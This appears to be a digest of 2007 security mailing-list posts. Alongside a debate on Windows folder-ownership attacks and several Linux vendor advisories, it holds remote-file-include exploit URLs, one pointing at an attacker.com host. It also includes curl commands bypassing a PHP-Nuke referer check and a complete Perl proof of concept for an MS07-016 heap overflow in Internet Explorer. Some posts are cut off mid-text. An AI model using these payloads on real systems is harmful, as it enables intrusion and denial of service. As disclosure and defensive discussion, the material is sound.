Re[2]: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues

[3APA3A]

Dear Laundrup, Jens,

C:\TEMP is not best example, but there are another.

Microsoft  Word creates temporary file with predictable name in the same
directory with document. In the case of directory permissions like:

Users: Add & List
Creator Owner: Full control

(one user should not read documents created by another user)

it  may  creates  security issue. And you may attempt to exploit it with
"preopen  files".

Tim  is right, it's attack vector, not vulnerability. You must have this
attack vector in mind during application development and administration.
I don't know if attack against e.g. Microsoft Word will work, it need to
be tested.

--Friday, March 9, 2007, 9:12:10 PM, you wrote to [EMAIL PROTECTED]:

LJ> Pardon me for maybe being a little naïve here, but the situation you state:

LJ> "I have conducted code reviews on several commercial apps which
LJ> use C:\TEMP in very insecure ways to store sensitive data."  

LJ> That would certainly seem to me that a programmer and the QA
LJ> process failed.  I struggle to see where Windows is to blame for
LJ> that.  I am no "Windows lover" but as a working security
LJ> professional, I see as much poorly written code junking up Linux,
LJ> Unix, Apples (yes we have them all) as I see with Windows, yet in
LJ> those situations, will you blame the OS there too?  I think it is
LJ> time you take the bias you have, set it aside and look at the
LJ> statement you made which was concise, accurate and factual, then
LJ> point the blame where it belongs; at the code writers whose code you
LJ> review!.  

LJ> Cheers

LJ> Jens 


LJ> -Original Message-
LJ> From: Tim [mailto:[EMAIL PROTECTED] 
LJ> Sent: Friday, March 09, 2007 8:20 AM
LJ> To: Roger A. Grimes
LJ> Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
LJ> Subject: Re: [Full-disclosure] Microsoft Windows
LJ> Vista/2003/XP/2000 file management security issues

LJ> Roger,

>> But we'll have to agree to disagree. Your security scenarios are just
>> bizarre. It's a lot easier to hack people then going through all the
>> interations you suggest.
>>
>> For one, I've been a sys admin for 20 years and NEVER created a
>> private folder under a public folder. Not in my Novell days, not in my
>> Windows days. The only time I've seen a private folder created under a
>> public folder is the \Users folder, and in that case, the users only
>> have Read and List access to the parent \Users folder, and then Full
>> Control to their own folders.

LJ> I find your assessment somewhat short-sighted.  It seems some of these 
attacks would be
LJ> possible in those situations.

LJ> Sure, Windows is already pathetically insecure against an attackers
LJ> already on the local system, but this would be yet another attack
LJ> vector.

LJ> tim

LJ> ___
LJ> Full-Disclosure - We believe in it.
LJ> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
LJ> Hosted and sponsored by Secunia - http://secunia.com/


-- 
~/ZARAZA http://securityvulns.com/
ÝÍÈÀÊàì - ïî ìîðäå!  (Ëåì)

Remote File Include In Script copyright (c) James Coyle; JCcorp

[RaeD Hasadya]

By Hasadya Raed
Contact : [EMAIL PROTECTED]


Script : copyright (c) James Coyle; JCcorp
Expl : Remote Include File
Dork : "copyright © James Coyle; JCcorp"


B.File : createurl.php

Exploit : 
http://www.Victim.com/Path_Script/createurl.php?formurl=[Shell-Attack]


By Hasadya Raed


-- 
___
Get your free email from http://bsdmail.com

Php Nuke POST XSS on steroids

[ascii]

ng from another server not allowed!

--- >8 --- >8 --- >8 --- >8 ---  --- >8 --- >8 --- >8 --- >8

The initial part of mainfile.php can be synthesized as following:

--- >8 --- >8 --- >8 --- >8 ---  --- >8 --- >8 --- >8 --- >8

// get php version
$phpver = phpversion();

// convert superglobals if php is lower then 4.1.0
if ($phpver < '4.1.0') {
 [..cut..]
}

// override old superglobals if php is higher then 4.1.0
if($phpver >= '4.1.0') {
 [..cut..]
}

if (!ini_get('register_globals')) {
 @import_request_variables("GPC", "");
}

[..]

// Posting from other servers in not allowed
if ($_SERVER['REQUEST_METHOD'] == "POST") {
 if (isset($_SERVER['HTTP_REFERER'])) {
  if (!stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST']))
   die('Posting from another server not allowed!');
 } else die($posttags);
}

--- >8 --- >8 --- >8 --- >8 ---  --- >8 --- >8 --- >8 --- >8

So if globals are off using the import_request_variables() trick we can
overwrite the _SERVER array and bypass the check (yes, you can do a lot
of other things too, this is just an example).

Use this code to replicate the issue:

--- >8 --- >8 --- >8 --- >8 --- poc.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash
cat > testsuite.php << TOKEN

TOKEN

--- >8 --- >8 --- >8 --- >8 --- -- --- >8 --- >8 --- >8 --- >8

$ curl "http:///hack-phpnuke8/testsuite.php";
GLOBALS 0
IM THE PAGE!
$ curl "http:///hack-phpnuke8/testsuite.php"; -d "ima=post"
GLOBALS 0
No referer!
$ curl "http:///hack-phpnuke8/testsuite.php"; -d "ima=post" \
-e "www.tin.it"
GLOBALS 0
Posting from another server not allowed!
$ curl "http://ascii.asciinb.vlan.ush.it/hack-phpnuke8/testsuite.php"; \
-d "ima=post&_SERVER=evil" -e "www.tin.it"
GLOBALS 0
IM THE PAGE!

Doesn't this seems cyclic to you? stripos will return TRUE if the
array element doesn't exists.

IV. DETECTION

Php Nuke 8.0 and others are affected, please test with the supplied
testsuites.

You can download Php Nuke from here : )

https://secure.bmtmicro.com/servlets/Orders.ShoppingCart?CID=4&PRODUCTID=19850011

V. WORKAROUND

Turn globals on.

VI. VENDOR RESPONSE

Will fix, probably.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20070307 Discovery
20070308 What do you expect here?
20070309 Full disclosure

IX. CREDIT

Francesco 'ascii' Ongaro is credited with the discovery of this
vulnerability.

X. LEGAL NOTICES

Copyright (c) 2007 Francesco 'ascii' Ongaro

Note: this exploit is DOUBLE LICENSED:

1. If you'll use it for personal and non-profit purposes you can
   apply GPL v2 and above.

2. In the case you plain to:
   a. use our code in any commercial context
   b. implement this code in your non-GPL application
   c. use this code during a Penetration Test
   d. make any profit from it
   you need to contact me in order to obtain a _commercial license_.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

Regards,
Francesco `ascii` Ongaro
http://www.ush.it/

[ MDKSA-2007:060 ] - Updated kernel packages fix multiple vulnerabilities and bugs

[security]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___
 
 Mandriva Linux Security Advisory MDKSA-2007:060
 http://www.mandriva.com/security/
 ___
 
 Package : kernel
 Date: March 9, 2007
 Affected: 2006.0, Corporate 4.0
 ___
 
 Problem Description:
 
 Some vulnerabilities were discovered and corrected in the Linux 2.6
 kernel:
 
 The 2.6.17 kernel and earlier, when running on IA64 and SPARC platforms
 would allow a local user to cause a DoS (crash) via a malformed ELF file
 (CVE-2006-4538).
 
 The mincore function in the Linux kernel did not properly lock access to
 user space, which has unspecified impact and attack vectors, possibly
 related to a deadlock (CVE-2006-4814).
 
 An unspecified vulnerability in the listxattr system call, when a "bad
 inode" is present, could allow a local user to cause a DoS (data
 corruption) and possibly gain privileges via unknown vectors
 (CVE-2006-5753).
 
 The zlib_inflate function allows local users to cause a crash via a
 malformed filesystem that uses zlib compression that triggers memory
 corruption (CVE-2006-5823).
 
 The ext3fs_dirhash function could allow local users to cause a DoS
 (crash) via an ext3 stream with malformed data structures
 (CVE-2006-6053).
 
 When SELinux hooks are enabled, the kernel could allow a local user to
 cause a DoS (crash) via a malformed file stream that triggers a NULL
 pointer derefernece (CVE-2006-6056).
 
 The key serial number collision avoidance code in the key_alloc_serial
 function in kernels 2.6.9 up to 2.6.20 allows local users to cause a
 crash via vectors thatr trigger a null dereference (CVE-2007-0006).
 
 The Linux kernel version 2.6.13 to 2.6.20.1 allowed a remote attacker
 to cause a DoS (oops) via a crafted NFSACL2 ACCESS request that
 triggered a free of an incorrect pointer (CVE-2007-0772).
 
 A local user could read unreadable binaries by using the interpreter
 (PT_INTERP) functionality and triggering a core dump; a variant of
 CVE-2004-1073 (CVE-2007-0958).
 
 The provided packages are patched to fix these vulnerabilities.  All
 users are encouraged to upgrade to these updated kernels immediately
 and reboot to effect the fixes.
 
 In addition to these security fixes, other fixes have been included
 such as:
 
   - add PCI IDs for cciss driver (HP ML370G5 / DL360G5)
   - fixed a mssive SCSI reset on megasas (Dell PE2960)
   - increased port-reset completion delay for HP controllers (HP ML350)
   - NUMA rnage fixes for x86_64
   - various netfilter fixes
 
 To update your kernel, please follow the directions located at:
 
   http://www.mandriva.com/en/security/kernelupdate
 ___

 References:
 
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4538
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4814
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5753
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5823
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6053
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6056
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0006
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0772
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0958
 http://qa.mandriva.com/show_bug.cgi?id=28461
 ___
 
 Updated Packages:
 
 Mandriva Linux 2006.0:
 b7c0334ecb73bb3b14173ef4dcdfa51b  
2006.0/i586/kernel-2.6.12.31mdk-1-1mdk.i586.rpm
 8307e34d54134ab5cb41833d1b9d7742  
2006.0/i586/kernel-BOOT-2.6.12.31mdk-1-1mdk.i586.rpm
 d329fdf03e99dfa15b08bb7c2791ed37  
2006.0/i586/kernel-doc-2.6.12.31mdk-1-1mdk.i586.rpm
 3cf6a4198f43493932ea8251d4ee82dc  
2006.0/i586/kernel-i586-up-1GB-2.6.12.31mdk-1-1mdk.i586.rpm
 c03817495740a0e9b1420f0991baf47f  
2006.0/i586/kernel-i686-up-4GB-2.6.12.31mdk-1-1mdk.i586.rpm
 3e96d0ad0b5637d62db5233ca2df7d47  
2006.0/i586/kernel-smp-2.6.12.31mdk-1-1mdk.i586.rpm
 65e1e7c5c155045d5247870b13d3  
2006.0/i586/kernel-source-2.6.12.31mdk-1-1mdk.i586.rpm
 9b62d79a9503c6f0db71166409c48c39  
2006.0/i586/kernel-source-stripped-2.6.12.31mdk-1-1mdk.i586.rpm
 553faeda754e6007c592aa5ba5c48ea0  
2006.0/i586/kernel-xbox-2.6.12.31mdk-1-1mdk.i586.rpm
 4ee72a08f25d24ee409fdab7c8ec4f17  
2006.0/i586/kernel-xen0-2.6.12.31mdk-1-1mdk.i586.rpm
 53304c8f505a4cbac0ac9a2ff01b379b  
2006.0/i586/kernel-xenU-2.6.12.31mdk-1-1mdk.i586.rpm 
 d7a287562aed00fbc8167aa55bbb3bb9  
2006.0/SRPMS/kernel-2.6.12.31mdk-1-1mdk.src.rpm

 Mandriva Linux 2006.0/X86_64:
 08d9bfee92615f6bd8b3f71b2756fdaf  
2006.0/x86_64/kernel-2.6.12.31mdk-1-1mdk.x86_64.rpm
 a750f3e67d9a0d6b07711e08f22e647b  
2006.0/x86_64/kernel-BOOT-2.6.12.31mdk-1-1mdk.x86_64.rpm
 20196c168b6bc40f5bebd3ea2c5c82f6  
2006.0/x86_64/kernel-

Re: Digital Armaments Security Advisory 20.01.2007: Grsecurity Kernel PaX Vulnerability

[hugo]

Hi,

quoting grsec developer: "Using the RBAC system's PaX flag support to enforce 
system-wide MPROTECT enabling could have prevented triggering of the bug, since 
it requires the creation of an executable stack to trigger the vma mirroring 
bug."

I 've tested the exploit on 2.6 kernel in an Alpha platform with MPROTECT RBAC 
protection activated -wich is our default setting :-)- and it doesn't work...

[EMAIL PROTECTED] ~ $ ./xploit
mprotect map1 base: Permission denied
run chpax -m on this executable

Moreover, even without MPROTECT activated it is important to remenber that OS 
security must never rely on a single layer... a well-configured Grsec system 
will render very difficult to exploit it -nor at least with a direct vector-. 
On Grsec case, there are some configurations can help prevent/difficult the 
exploitation: aggressive TPE (Trusted Path Execution) configuration + tight 
RBAC policy + Network Protections will make a pain to exploit this, even 
locally.

Regards, 

MS07-016 FTP Response DOS PoC

[Mathew Rowley]

Anything more to say?


#!/usr/bin/perl

# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
#  or at '\r\n'. Each buffer is apended with \x00, without
#  bounds checking.  If the response is exctly 1024 characters
#  in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1, 
  LocalHost=>$ip, 
  LocalPort=>'21', 
  Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, 
and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
my $response;
if($_ eq "USER") { $response="331 ";}
elsif($_ eq "PASS") { $response="230 ";}
elsif($_ eq "syst") { $response="215 ";}
elsif($_ eq "CWD") { $response="250 ";}
elsif($_ eq "PWD") { $response="230 ";}
else { $response="200 ";}
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);

[ GLSA 200703-09 ] Smb4K: Multiple vulnerabilities

[Raphael Marichez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200703-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
 Title: Smb4K: Multiple vulnerabilities
  Date: March 09, 2007
  Bugs: #156152
ID: 200703-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Multiple vulnerabilities have been identified in Smb4K.

Background
==

Smb4K is a SMB/CIFS (Windows) share browser for KDE.

Affected packages
=

---
 Package /  Vulnerable  /   Unaffected
---
  1  net-misc/smb4k  < 0.6.10a  >= 0.6.10a

Description
===

Kees Cook of the Ubuntu Security Team has identified multiple
vulnerabilities in Smb4K.

* The writeFile() function of smb4k/core/smb4kfileio.cpp makes
  insecure usage of temporary files.

* The writeFile() function also stores the contents of the sudoers
  file with incorrect permissions, allowing for the file's contents to
  be world-readable.

* The createLockFile() and removeLockFile() functions improperly
  handle lock files, possibly allowing for a race condition in file
  handling.

* The smb4k_kill utility distributed with Smb4K allows any user in
  the sudoers group to kill any process on the system.

* Lastly, there is the potential for multiple stack overflows when
  any Smb4K utility is used with the sudo command.

Impact
==

A local attacker could gain unauthorized access to arbitrary files via
numerous attack vectors. In some cases to obtain this unauthorized
access, an attacker would have to be a member of the sudoers list.

Workaround
==

There is no known workaround at this time.

Resolution
==

All Smb4K users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/smb4k-0.6.10a"

References
==

  [ 1 ] CVE-2007-0472
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0472
  [ 2 ] CVE-2007-0473
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0473
  [ 3 ] CVE-2007-0474
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0474
  [ 4 ] CVE-2007-0475
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0475

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200703-09.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgp6tquRn1HhU.pgp
Description: PGP signature

[USN-433-1] Xine vulnerability

[Kees Cook]

=== 
Ubuntu Security Notice USN-433-1 March 09, 2007
xine-lib vulnerability
CVE-2007-1246
===

A security issue affects the following Ubuntu releases:

Ubuntu 5.10
Ubuntu 6.06 LTS
Ubuntu 6.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 5.10:
  libxine1c2   1.0.1-1ubuntu10.8

Ubuntu 6.06 LTS:
  libxine-main11.1.1+ubuntu2-7.6

Ubuntu 6.10:
  libxine1 1.1.2+repacked1-0ubuntu3.3

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

Moritz Jodeit discovered that the DMO loader of Xine did not correctly 
validate the size of an allocated buffer.  By tricking a user into 
opening a specially crafted media file, an attacker could execute 
arbitrary code with the user's privileges.


Updated packages for Ubuntu 5.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/xine-lib_1.0.1-1ubuntu10.8.diff.gz
  Size/MD5:12146 b32c486037c9bd487f47677d77057aad

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/xine-lib_1.0.1-1ubuntu10.8.dsc
  Size/MD5: 1187 e4c778b992408ec8e46e5500921545af

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/xine-lib_1.0.1.orig.tar.gz
  Size/MD5:  7774954 9be804b337c6c3a2e202c5a7237cb0f8

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.0.1-1ubuntu10.8_amd64.deb
  Size/MD5:   109296 92a59b50d859f12affc42fee457ed93f

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine1c2_1.0.1-1ubuntu10.8_amd64.deb
  Size/MD5:  3611908 9e6f2c0dad7b1050a71d1f29d3537ec1

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.0.1-1ubuntu10.8_i386.deb
  Size/MD5:   109306 3224a1a8c0c259b90add235d58d10a7a

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine1c2_1.0.1-1ubuntu10.8_i386.deb
  Size/MD5:  4005002 81fd17d5eabfa12a3dea0d9c8fd79d7f

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.0.1-1ubuntu10.8_powerpc.deb
  Size/MD5:   109320 eb1a5685b7288b8cc9ef6ae09d422aec

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine1c2_1.0.1-1ubuntu10.8_powerpc.deb
  Size/MD5:  3850506 7801ba1b96b888c38b4e72f8fb4ccee1

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.0.1-1ubuntu10.8_sparc.deb
  Size/MD5:   109312 22805f01c94ced268bd12cf951447af4

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine1c2_1.0.1-1ubuntu10.8_sparc.deb
  Size/MD5:  3695682 e0fbc0aa0791685943a5094ea6519b2d

Updated packages for Ubuntu 6.06 LTS:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/xine-lib_1.1.1+ubuntu2-7.6.diff.gz
  Size/MD5:19845 149027147eff0f72e1d0af9faa0cd6cf

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/xine-lib_1.1.1+ubuntu2-7.6.dsc
  Size/MD5: 1113 6fdbc64e22ad7511a80cba1ea840b534

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/xine-lib_1.1.1+ubuntu2.orig.tar.gz
  Size/MD5:  6099365 5d0f3988e4d95f6af6f3caf2130ee992

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.1.1+ubuntu2-7.6_amd64.deb
  Size/MD5:   115856 6146578aeeecdf61742b90dca3a97155

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-main1_1.1.1+ubuntu2-7.6_amd64.deb
  Size/MD5:  2615268 a6cff8bccebfbe51d7b3a6916d9250b1

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.1.1+ubuntu2-7.6_i386.deb
  Size/MD5:   115852 6b404dc405aefcac89ec3eec339f25a0

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-main1_1.1.1+ubuntu2-7.6_i386.deb
  Size/MD5:  2934402 ea3a45814952437ac9f792cf1e7586b3

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.1.1+ubuntu2-7.6_powerpc.deb
  Size/MD5:   115860 1484daaeb0459a88c1760a1330397e52

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-main1_1.1.1+ubuntu2-7.6_powerpc.deb
  Size/MD5:  2724986 889c6b454382dd63cd89020c87faf547

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-dev_1.1.1+ubuntu2-7.6_sparc.deb
  Size/MD5:   115860 b43491e3060c813b3530664cca2acd30

http://security.ubuntu.com/ubuntu/pool/main/x/xine-lib/libxine-main1_1.1.1+ubuntu2-7.6_sparc.deb
  S

[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability

[erdc]

ECHO_ADV_67$2007

-
[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion 
Vulnerability
-

Author : M.Hasran Addahroni
Date   : March, 9th 2007
Location   : Australia, Sydney
Web: http://advisories.echo.or.id/adv/adv67-K-159-2007.txt
Critical Lvl   : Dangerous
---

Affected software description:


Application   : WEBO (Web Organizer) 
version   : 1.0
Vendor: http://sourceforge.net/projects/weborganizer/
Description :

WEBO (Web Organizer) is an open-source Web application suite providing a 
groupware calendar, a personal address book, a shared contacts directory, and a 
personal desktop page.

---

Vulnerability:
~~
- Invalid include function at modules/abook/foldertree.php :

---foldertree.php--
http://www.target.com/[webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil?


Solution:
~~~

- Sanitize variable $config_dir on affected files.
- Turn off register_globals

---

Shoutz:
~
~ ping - my dearest wife, and my little son, for all the luv the tears n the 
breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for 
the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, 
stev_manado, nofry, x16
~ [EMAIL PROTECTED]
~ #aikmel #e-c-h-o @irc.dal.net

---
Contact:
~~

 K-159 || echo|staff || eufrato[at]gmail[dot]com
 Homepage: http://k-159.echo.or.id/

 [ EOF ] --

RE: Microsoft Windows Vista/2003/XP/2000 file management security issues

[Roger A. Grimes]

I'm missing something here.

In order for Alice to Take Ownership of Bob's private folder she would
have to have Full Control in the parent Public folder or Bob's child
folder, not just the Write/Modify permission. If Alice deletes Bob's
folder (which she could do in some scenarios because she has the
write/modify permission) and re-creates it, she becomes the Creator
Owner and now Bob no longer has the ability to set permissions on it.

If I take your strange assumptions, Bob could re-discover the newly
created folder that Alice made, just like she did (I mean if you make up
crap scenarios, why can't I), and do the same trick back to her.

And Windows does have a umask-like function. It's called Creator Owner.
It's a well known SID, and the default permissions for it can be set so
that any granular permission you want can be set to be default. 

Vista does have symbolic links, and Windows has supported Junction
Points (similar to symbolic links) since Windows 2000. The main
difference is that Junction Points could only point to local resources
and symbolic links can do remote resources as well.

You've come up with some strange scenarios below, and in all cases I
could easily defeat the problem you are suggesting by using basic,
recommended, security settings. 

Why do you spend your time coming up with such weird scenarios to focus
on? You're obviously a creative guy with some Windows security smarts.
Why not focus on more realistic scenarios with more real-world use?
There's plenty of them for us to focus on and to try and solve.

Roger

*
*Roger A. Grimes, InfoWorld, Security Columnist 
*CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada...
*email: [EMAIL PROTECTED] or [EMAIL PROTECTED]
*Author of Professional Windows Desktop and Server Hardening (Wrox)
*http://www.amazon.com/gp/product/0764599909
*


-Original Message-
From: 3APA3A [mailto:[EMAIL PROTECTED] 
Sent: Thursday, March 08, 2007 2:59 PM
To: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
Subject: Microsoft Windows Vista/2003/XP/2000 file management security
issues


This   is   an   article   I   promised   to   publish   after  Windows
ReadDirectoryChangesW  (CVE-2007-0843)  [1] issue. It should explain why
you must never place secure data inside insecure directory.



Title: Microsoft Windows Vista/2003/XP/2000 file management security
issues
Author: 3APA3A, http://securityvulns.com/
Vendor: Microsoft (and potentially another vendors)
Products:  Microsoft  Windows Vista/2003/XP/2000, Microsoft resource kit
   for Windows 2000 and different utilities.
Access Vector: Local
Type: multiple/complex (weak design, insecure file operations, etc)
Original advisory: http://securityvulns.com/advisories/winfiles.asp
Securityvulns.com news:
http://security.nnov.ru/news/Microsoft/Windows/files.html

0. Intro

This  article contains a set of attack scenarios to demonstrate security
weakness in few very common Windows management practices. Neither of the
problem  explained  is critical, yet combined together they should force
you   to   review   your   security   practices.   I   can't   even  say
"vulnerabilities"   because   there   is   no  something  you  can  call
"vulnerability". It's just something you believe is secure and it's not.

1.1 Problem: inability to create secured file / folder in public one.
Attack: folder hijack attack

First,  it's simply impossible with standard Windows interface to create
something secured in insecure folder.

 Scenario  1.1:

 Bob  wishes  to  create "Bob private data" folder in "Public" folder to
place  few private files. "Public" has at least "Write" permissions for
"User" group. Bob:

 I   Creates "Bob private data" folder
 II  Sets permission for folder to only allow access to folder
himself
 III Copies private files into folder

  Alice wants to get access to folder Bob created. She

 Ia  Immediately  after  folder  is  created,  deletes "Bob private
 data"  folder  and creates "Bob private data" folder again (or
 simply  takes  ownership  under  "Bob  private data" folder if
 permissions allow). It makes Alice folder owner.
 IIa Immediately  after  Bob  sets permissions, she grants herself
 full control under folder. She can do it as a folder owner.
 IIIa  Reads  Bob's  private  files,  because  files permissions are
 inherited from folder

  Alice   can  use  "Spydir"  (http://securityvulns.com/soft/)  tool  to
  monitor  files  access  and automate this process. As you can see, [1]
  elevates this problem significantly.
 
  This   is  not  new  attack.  Unix  has  "umask"  command  to  protect
  administrators and users. Currently, Windows has nothing similar.

  CreateFile() API supports setting file ACL on file creation (just like
  open()  allows  to set mode on POSIX s

RE: Re[4]: Microsoft Windows Vista/2003/XP/2000 file management security issues

[Roger A. Grimes]

--This is getting boring. Let's take this offline, just between  you and
me. 

--You sound like many Linux/Unix guys I know who think they know Windows
security, but really don't. You're still acting like Windows security is
represented by Windows 95 without a firewall. You're mixing up your
security permissions, acting like you've never heard of the Creator
Owner SID, or the ability to change subfolder and file inheritance.
Either you don't know about them or you're purposefully ignoring them to
make your unlikely argument. Windows has incredibly security
granularity. You expect me to assume that the Windows administrator
makes bonehead configuration mistakes and I'm just supposed to accept
that as a Windows problem?  You can argue that some Windows
administrators may not configure something correctly based upon
perceived risks...but I'm not blaming Windows for that. 

--If make a public folder in Linux and give all users RWX, it
automatically flows down to the subfolders and objects, too. You can
configure Umask, but I can do exactly the same thing in Windows, using
the Creator Owner SID. So, you make additional change in Linux to make
it more secure, but I can't do the same in Windows...and that makes it a
Windows problem??

--See my other replies below.

Roger

***
*Roger A. Grimes, Senior Security Consultant
*Microsoft Application Consulting and Engineering (ACE) Services  
*http://blogs.msdn.com/ace_team/default.aspx
*CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada...
*email: [EMAIL PROTECTED] or [EMAIL PROTECTED]
***



-Original Message-
From: 3APA3A [mailto:[EMAIL PROTECTED] 
Sent: Friday, March 09, 2007 11:56 AM
To: Roger A. Grimes
Cc: full-disclosure@lists.grok.org.uk
Subject: Re[4]: Microsoft Windows Vista/2003/XP/2000 file management
security issues

Nice.  What  about  creating  "Sales  Reports" folder only head of Sales
department has access inside "Sales" folder?
--Poor security practice. Never done it. If it is for head of Sales
only, make it under the head of Sales' normal user folder. Easy.  No
security problem.

 There  is  no  actual  difference  between  "Change" and "Full Control"
permissions  for  NTFS.  
--First, Change is a share permission, not an NTFS permission. Are you
talking Shares or NTFS permissions? In either case, there is a two major
differences between Change/Modify and Full Control. Those differences
are the ability to change permissions and taking ownership.

"Change"  give you ability to delete and create objects. An ability to
delete some object and create it again give you a way to become object
owner, like if you have "Take ownership" individual permission.  As  an
owner you always have implicit "Change permissions" individual
permission.  So, you have your "Full control" without having it.  There
is simply nothing more to debate here. Ownership problem was debated for
ages.
--If you delete and re-create the object, it's a new object. Jeez!  So,
the administrator intentionaly set up the folder or share so other
people could delete other people's objects, and this is a Windows
problem?  Alice gets Full Control on her new object, not Bob's old
folder. If you want to prevent Bob from accidentally putting his
personal, private files into Alice's newly created folder...if that's a
concern, don't allow public users to have Change/Modify permissions to
subfolders in the public folder. In Windows you can easily choose what
objects inherit what permissions. If that is your concern, turn off
inheritance to subfolders and files. Microsoft put those options in the
Security tab GUI for a reason.

RAG> You're just making up crap up that isn't overly realistic in the 
RAG> world, then going further to assume that a bonehead administrator 
RAG> compounds the problem by making further insecure decisions.

RAG> You are essentially say, "If you misconfigure your system and make 
RAG> further insecure choices, someone can hack you." Duh.

Who  can  tell  me,  creating "Sales reports" inside "Sales" is insecure
choice?
--Yes, absolutely.

RAG> There's  a  reason  why your "announcements" aren't making the news

RAG> media...because it isn't news.

